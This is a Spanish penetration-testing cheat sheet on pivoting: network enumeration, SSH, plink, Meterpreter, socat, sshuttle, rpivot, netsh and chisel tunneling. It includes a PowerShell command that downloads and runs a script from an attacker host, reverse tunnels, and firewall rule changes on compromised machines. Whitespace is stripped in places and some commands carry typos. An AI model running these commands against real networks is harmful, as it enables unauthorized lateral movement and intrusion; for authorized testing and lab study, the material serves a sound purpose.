Pivoting
Enumeración
Tabla ARP:
arp
arp -nArchivo hosts:
cat /etc/hostsTabla de enrutamiento:
route -n
ip route
netstat -rInformación de interfaces:
ip a
ifconfig
cat /proc/net/fib_trie
nmcli dev showPara
ifconfigynmclidebemos tener instaladonetwork-manager. Se puede instalar usandosudo apt update && sudo apt install network-manager -y.
Información DNS:
cat /etc/resolv.confConexiones establecidas y a la escucha:
netstat -auntpPing Sweep:
for i in {1..254} ;do (ping -c 1 192.168.2.$i | grep "bytes from" &) ;doneEnumeración de puertos remotos:
for port in {1..65535}; do(echo > /dev/tcp/10.30.40.39/$port) > /dev/null 2>&1 && echo "port $port is open"; doneTabla ARP:
arp -aArchivo hosts:
type C:\Windows\System32\drivers\etc\hostsTabla de enrutamiento:
route printInformación de interfaces:
ipconfig
ipconfig /allConexiones establecidas y a la escucha:
netstat -anoCMD Ping Sweep:
for /L %i in (1 1 254) do ping 192.168.2.%i -n 1 -w 100 | find "Reply"PowerShell Ping Sweep:
1..254 | % {"192.168.2.$($_): $(Test-Connection -count 1 -comp 192.168.2.$($_) -quiet)"}Enumeración de puertos remotos usando PowerShell - Opción 1:
$ports=(1..65535); $ip="10.30.40.39"; foreach ($port in $ports) {try{$socket=New-Object System.Net.Sockets.TcpClient($ip,$port);} catch{}; if ($socket.Connected) {echo $ip":"$port" - Open"; $socket = $null;}}Enumeración de puertos remotos usando PowerShell - Opción 2:
#Descargamos el script desde la máquina atacante
iex (New-Object Net.WebClient).DownloadString('http://192.168.0.100:8000//Invoke-Portscan.ps1')
#Ejecutamos el script, escaneando los puertos Top 100
Invoke-Portscan -Hosts 10.30.40.39 -TopPorts 100Tabla ARP:
arpTabla de enrutamiento:
routeInformación de interfaces:
ifconfigConexiones establecidas y a la escucha:
netstatPing Sweep:
run post/multi/gather/ping_sweep RHOSTS=192.168.2.0/24SSH
Port Forwarding
ssh <user>@<pivot_ip> -L 127.0.0.1:<local_port>:<target_ip>:<target_port> -NSe puede omitir la dirección del localhost.
Se abre de forma local el puerto
<local_port>mediante la opción-LEl tráfico generado al localhost (127.0.0.1) con el puerto
<local_port>es transferido al puerto<target_port>de la IP<target_ip>a traves del túnel SSHLa opción
-Nindica que no se ejecutan comandos después de autenticarnos
ssh <user>@<attack_host_ip> -R 127.0.0.1:<attack_host_port>:<target_ip>:<target_port> -NSe puede omitir la dirección del localhost.
Se abre de forma remota el puerto
<attack_host_port>mediante la opción-REl tráfico generado al localhost (127.0.0.1) con el puerto
<attack_host_port>es transferido al puerto<target_port>de la IP<target_ip>a traves del túnel SSHLa opción
-Nindica que no se ejecutan comandos después de autenticarnos
Enlace de descarga de PLink.
cmd.exe /c echo y | plink.exe -l <user> -pw <password> <attack_host_ip> -R <attack_host_port>:<target_ip>:<target_port> -Ncmd.exe /c echo yse utiliza para las shell no interactivas (como la mayoría de las shell reversas en Windows), con el cual, aceptamos el mensaje de precaución que lanza plink por defecto-lindicamos el usuario con el que nos autenticaremos-pwespecificamos la contraseña del usuario-Rdefinimos que será Remote Port Forwarding-Nno iniciar una shell
Tunneling/Proxying
ssh <user>@<pivot_ip> -D <localhost>:<proxy_local_port> -N-D <localhost>:<proxy_local_port>, para este caso, se puede omitir la IP del localhost. Indicamos que se se realizará un Dynamic Port Forwarding, usando el puerto especificado como proxy-Nno iniciar una shell
Metasploit/Meterpreter
Port Forwarding
Desde la sesión meterpreter, ejecutamos lo siguiente:
portfwd add -l 3300 -p 80 -r 192.168.2.30-lpuerto local a abrir-ppuerto del target-rIP del target
Desde la sesión meterpreter, ejecutamos lo siguiente:
portfwd add -R -l 8081 -p 1234 -L 192.168.233.135-Rindicamos que será un reverse port forwarding-lpuerto local al que se reenviará el tráfico-ppuerto a la escucha en la máquina pivote-LIP local al que se reenviará el tráfico
Tunneling/Proxying
Fuera de la sesión meterpreter (salir usando el comando bg), usar los siguiente comandos:
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
runSRVPORTpuerto que usaremos como proxy del tráficoSRVHOSTIP que estará a la escucha, si es0.0.0.0, todas las interfaces estarán a la escuchaversionindicamos la versión del protocolo SOCKS, que puede ser versión 4 (4aen mestasploit) o versión 5
Ahora, le decimos al módulo socks_proxy que reenvíe el tráfico a la sesión meterpreter usando el módulo post/multi/manage/autoroute, esto se puede lograr de las siguientes dos formas:
Fuera de la sesión meterpreter:
# Módulo AutoRoute
use post/multi/manage/autoroute
# Sesión meterpreter a la que le enviaremos el tráfico
set SESSION 1
# Segmento de red donde se encuentra la máquina de pivoting
set SUBNET 192.168.2.0
# Ejecutar el módulo
runDentro de la sesión meterpreter:
run autoroute -s 192.168.2.0/24Socat
Podemos descargar socat desde los siguientes enlaces:
Comando:
./socat TCP4-LISTEN:8081,fork TCP4:192.168.2.30:8443 &TCP4-LISTEN:8080especificamos el puerto que se pondrá a la escuchaforkindicamos que socat puede aceptar más de una conexiónTCP4:192.168.2.30:8443corresponde a la dirección IP y puerto hacia donde se redireccionará el tráfico recibido en el puerto especificado en la primera sección del comando&dejamos el proceso en segundo plano
sshuttle
sudo apt update
sudo apt install sshuttleSi queremos usar sshuttle para tunelizar el tráfico hacia una IP un segmento de red, se puede usar el siguiente comando:
sudo sshuttle -r user01@192.168.0.240 10.30.40.0/24-rindicamos el usuario y el host remoto (podemos escribir la password y cambiar el puerto de conexión de la siguiente forma:<username>:<password>@<pivot_ip>:<port>)
En caso de que necesitemos excluir una IP, se usa la opción -x:
sudo sshuttle -r user01@192.168.0.240 10.30.40.0/24 -x 10.30.40.21Si tenemos una llave privada para conectarnos al dispositivo, usamos el siguiente comando:
sshuttle -r user01@192.168.0.240 --ssh-cmd 'ssh -i id_rsa' 10.30.40.0/24 -x 10.30.40.21Si queremos que las redes se determinen en base a la propia tabla de enrutamiento de la máquina comprometida, podemos usar la opción -N:
shuttle -r user01@192.168.0.240 -NEn caso de que necesitemos pasar a segundo plano esta conexión, podemos usar la opción -D:
sshuttle -r user01@192.168.0.240 10.30.40.0/24 -DRpivot
git clone https://github.com/klsecservices/rpivot.git
sudo apt-get install python2.7Comando desde la máquina atacante:
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0Comando desde la máquina de pivote:
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999Netsh
Port Forwarding
netsh interface portproxy show v4tov4Los registro de netsh son guardados en HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp:
reg query HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp /snetsh interface portproxy add v4tov4 listenport=<local_listen_port> listenaddress=<local_listen_ip> connectport=<target_port> connectaddress=<target_ip>listenportespecificamos el puerto local que se encontrará a la escuchalistenaddressindicamos la dirección local que estará a la escuchaconnectportpuerto del targetconnectaddressdirección IP del target
Este comando funciona con permisos de administrador.
Si no le indicamos el parámetro
listenaddress, se quedará a la escucha en todas las interfaces.
Si queremos eliminar lo configurado, podemos usar el siguiente comando:
netsh interface portproxy resetReglas de Firewall
Tráfico entrante:
netsh advfirewall firewall add rule name=<rule_name> protocol=TCP dir=in localport=<local_port> action=allowTráfico saliente:
netsh advfirewall firewall add rule name=<rule_name> protocol=TCP dir=out localport=<local_port> action=allowChisel
Tunneling/Proxying
Descargar del repositorio de chisel:
git clone https://github.com/jpillora/chisel.gitCompilación para Linux:
cd chisel
go build -ldflags "-s -w"
upx brute chiselCompilación para Windows:
cd chisel
env GOOS=windows GOARCH=amd64 go build -o chisel.exe -ldflags "-s -w"
upx brute chisel.exeConfiguración del pivote:
./chisel server -p 3477 --socks5-p 3477puerto a la escucha del servidor--socks5indicamos que se utilizará proxy SOCKS5
Configuración de la máquina atacante:
./chisel client 192.168.0.100:3477 socks192.168.0.100:3477dirección IP del servidor y puerto en el que se encuentra en escuchasocksespecificamos que se realizarará una conexión de socks proxy, el cual, trabajará en el puerto 1080. Si queremos modificar el puerto al 5000, podemos reemplazar los parámetros por5000:socks
Configuración de la máquina atacante:
./chisel server -p 3477 --socks5 --reverse-p 3477puerto a la escucha del servidor--socks5indicamos que se utilizará proxy SOCKS5--reversepermite conexiones reversas de port forwarding
Configuración del pivote:
./chisel client 192.168.0.100:3477 R:socks192.168.0.100:3477dirección IP del servidor y puerto en el que se encuentra en escuchaR:sockscon la opciónRespecificamos que se realizarará una conexión reversa de port forwarding, como se indica puerto de proxy, este trabajará en el puerto 1080. Si queremos modificar el puerto al 5000, podemos reemplazar los parámetros porR:5000:socks
Last updated